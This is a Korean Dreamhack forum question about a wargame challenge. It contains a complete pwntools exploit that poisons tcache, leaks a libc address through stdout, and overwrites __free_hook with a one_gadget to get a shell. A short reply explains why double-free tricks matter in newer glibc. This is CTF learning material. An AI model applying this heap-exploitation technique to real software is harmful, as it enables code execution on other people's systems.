완료됨
DFB 사용을 꼭 해야하는 이유가 있을까요 ?

이번 문제의 풀이에는 Double Free Bug를 사용했는데, 사실 생각해보면 tcache에 존재하는 청크의 값을 수정할 수 있는 edit 함수가 있다면, next를 수정할 수 있기 때문에 임의의 청크를 DFB를 사용하지 않고 추가할 수 있어서 아래와 같이 풀었는데, 이렇게 풀지 않고 꼭 DFB를 써야 하는 이유가 있을까요 ?

from pwn import *

p = remote('host3.dreamhack.games', 24385)
elf = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')


def allocate(size, content):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Content: ', content)  # 나중에 _IO_2_1_stdout__lsb를 보낼때 sendline으로 보내면 공백이 추가되서 안됨


def free():
    p.sendlineafter(b'Edit\n', b'2')


def print_chunk():
    p.sendlineafter(b'Edit\n', b'3')


def edit(content):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b'Edit chunk: ', content)


# tcache[0x40] : empty
# chunk : first(1)
allocate(0x30, b'first')


# tcache[0x40] : first(1)
# chunk : first(1)
free()  # (1)


# tcache[0x40] : first(1) -> stdout -> _IO_2_1_stdout_
# chunk : first(1)
stdout = elf.symbols['stdout']
edit(p64(stdout) + b'a')


# tcache[0x40] : stdout -> _IO_2_1_stdout_
# chunk : first(1)
allocate(0x30, b'a')
# 어떤 값을 대입하면서 allocate하더라도 이미 tcache에는 stdout이 링크드 리스트의 헤더(청크의 헤더X)로 존재하므로 상관없음


# tcache[0x40] : _IO_2_1_stdout_
# chunk : stdout
_IO_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1]  # 첫번째 문자열 가져옴 : 문자열에서 첫번째는 lsb
allocate(0x30, _IO_2_1_stdout_lsb)
# 여기서 중요한게, 바로 아래에서 print_chunk를 할건데, stdout에 저장된(가리키는) _IO_2_1_stdout_을 변조하면 안됨
# 하지만 libc base를 몰라서 IO_stdout을 모르지만, 다행히 하위 3비트는 오프셋으로 고정되어 있어서 하위 1바이트인 lsb도 고정되있어서 lsb를 대입해주면 됨(리틀엔디언 잘 생각)


print_chunk()  # stdout에 저장된 IO_2_1_stdout_lsb 주소 출력
p.recvuntil(b'Content: ')  # print_chunk에서 'Content: '는 안받아줬기 때문에 여기까지 받아줘야 libc_base를 제대로 계산 가능

# Leak libc base
libc_base = u64(p.recvn(6).ljust(8, b'\x00')) - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']

# og = libc_base + 0x4f3ce
# og = libc_base + 0x4f3d5
og = libc_base + 0x4f432
# og = libc_base + 0x10a41c


# 여기서 tcache[0x40] 을 다시 쓰면 _IO_2_1_stdout_을 가져오는데 이 주소의 값을 바꾸면 안되므로 다른 tcache 엔트리를 써야함

# tcache[0x50] : empty
# chunk : first(1)
allocate(0x40, b'first')


# tcahce[0x50] : first(1)
# chunk : first(1)
free()


# tcache[0x50] : first(1) -> free_hook
# chunk : first(1)
edit(p64(free_hook))


# tcache[0x50] : free_hook
# chunk : first(1)
allocate(0x40, b'a')


# tcache[0x50] : empty
# chunk : free_hook
allocate(0x40, p64(og))  # free_hook이 저장된 주소에 og가 저장되어 free_hook -> og를 가리키게 됨


# Exploit
free()
p.interactive()

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

해당 문제에서는 그렇겠지만, 쉽게 설명드리면 티캐시 자체를 속이는 것이 더블프리버그입니다.

티캐시는 버전이 높아지면 높아질수록 실제로 프리된 것이 맞는지 검증하는 로직이 들어가는데 이 검증을 속이는 것이 필요합니다.

2024.09.01. 00:58